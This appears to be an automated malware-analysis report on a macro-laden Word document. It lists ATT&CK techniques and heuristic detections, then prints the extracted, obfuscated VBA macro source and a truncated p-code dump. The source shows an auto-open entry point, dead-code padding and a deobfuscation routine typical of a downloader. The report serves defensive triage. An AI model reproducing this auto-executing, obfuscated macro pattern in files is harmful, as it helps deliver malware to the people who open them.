MALICIOUS
162
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1047 Windows Management Instrumentation
The sample contains a VBA macro with an AutoOpen function, indicating it is designed to execute automatically when the document is opened. The presence of a CreateObject call suggests the macro attempts to instantiate and run external objects, a common technique for downloading and executing further malicious payloads. No specific family could be identified, but the execution method points to a macro-based downloader.
Heuristics 6
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8464 bytes |
SHA-256: 957c6516af852a762bc4b511a84880cdb224b51770638b45cf55c7e40fb3ad1c |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Tcuncptdjcrv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Mgpcnbvazvjol, 3, 4, MSForms, TextBox"
Attribute VB_Control = "Iyisfdcuephg, 2, 5, MSForms, TextBox"
Attribute VB_Control = "Itismadse, 1, 6, MSForms, TextBox"
Attribute VB_Control = "Uhayymet, 0, 7, MSForms, TextBox"
Attribute VB_Name = "Lkuqmbbapibyi"
Attribute VB_Base = "0{63031780-CE17-49F9-8789-0542ED6A2618}{E242A976-154C-4AF6-8F3B-256E35370514}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Lcosrvyigki"
Attribute VB_Name = "Tnclnnsxfttl"
Function Lpuluhiw(Sggibwwwrw)
On Error Resume Next
If posa > posa Then
While posa < posa
Dim kYwjHGF()
ReDim kYwjHGF(3)
kYwjHGF(0) = "Delectus."
kYwjHGF(1) = 93
kYwjHGF(2) = "Quam."
Wend
Set posa = posa
End If
Lpuluhiw = Dbajbwatp(Dbajbwatp(Dbajbwatp(Dbajbwatp(Sggibwwwrw))))
If posa > posa Then
While posa < posa
Dim RRymaN()
ReDim RRymaN(3)
RRymaN(0) = pwjsat
RRymaN(1) = WbqCDCUP
RRymaN(2) = Calvin
Wend
Set posa = posa
End If
End Function
Attribute VB_Name = "Hcnqkdwtcug"
Function Dbajbwatp(Okvpdvavy)
On Error Resume Next
If posa > posa Then
While posa < posa
Dim picHU()
ReDim picHU(1)
picHU(0) = "Ratione."
Wend
Set posa = posa
End If
ReDim Operatisno(23)
If posa > posa Then
While posa < posa
Dim MnDOVtHm()
ReDim MnDOVtHm(2)
MnDOVtHm(0) = "Aliquam."
MnDOVtHm(1) = 6313
Wend
Set posa = posa
End If
Operatisno(11) = Replace(Okvpdvavy, Tcuncptdjcrv.Uhayymet, "")
If posa > posa Then
While posa < posa
Dim iozpH()
ReDim iozpH(3)
iozpH(0) = tmJjGxAJH
iozpH(1) = 269
iozpH(2) = Wendell
Wend
Set posa = posa
End If
Dbajbwatp = Operatisno(11)
If posa > posa Then
While posa < posa
Dim LOzrJiEC()
ReDim LOzrJiEC(1)
LOzrJiEC(0) = nTgYim
Wend
Set posa = posa
End If
End Function
Sub autoopen()
On Error Resume Next
If posa > posa Then
While posa < posa
Dim YeIyIHaGs()
ReDim YeIyIHaGs(1)
YeIyIHaGs(0) = Leslie
Wend
Set posa = posa
End If
Bydxtxkem
If posa > posa Then
While posa < posa
Dim bNpxEABE()
ReDim bNpxEABE(3)
bNpxEABE(0) = Saul
bNpxEABE(1) = Priscilla
bNpxEABE(2) = 46
Wend
Set posa = posa
End If
End Sub
' Processing file: /opt/analyzer/scan_staging/fb5823c9b7384e008e25192ffc575eb2.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Tcuncptdjcrv - 1916 bytes
' Macros/VBA/Lkuqmbbapibyi - 1173 bytes
' Macros/VBA/Lcosrvyigki - 5600 bytes
' Error: unpack_from requires a buffer of at least 1952803955 bytes for unpacking 4 bytes at offset 1952803951 (actual buffer size is 5600).
' Macros/VBA/Tnclnnsxfttl - 1898 bytes
' Line #0:
' FuncDefn (Function CreateObject(Tnclnnsxfttl))
' Line #1:
' OnError (Resume Next)
' Line #2:
' Ld Bydxtxkem
' Ld Bydxtxkem
' Gt
' IfBlock
' Line #3:
' Ld Bydxtxkem
' Ld Bydxtxkem
' Lt
' While
' Line #4:
' Dim
' VarDefn Sggibwwwrw
' Line #5:
' OptionBase
' LitDI2 0x0003
' Redim Sggibwwwrw 0x0001 (As Variant)
' Line #6:
' LitStr 0x0009 "Delectus."
' LitDI2 0x0000
' ArgsSt Sggibwwwrw 0x0001
' Line #7:
' LitDI2 0x005D
' LitDI2 0x0001
' ArgsSt Sggibwwwrw 0x0001
' Line #8:
' LitStr 0x0005 "Quam."
' LitDI2 0x0002
' ArgsSt Sggibwwwrw 0x0001
' Line #9:
' Line #10:
' Wend
' Line #11:
' SetStmt
' Ld Bydxtxkem
' Set Bydxtxkem
' Line #12:
' EndIfBlock
' Line #13:
' Ld Tnclnnsxfttl
' ArgsLd kYwjHGF 0x0001
'
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.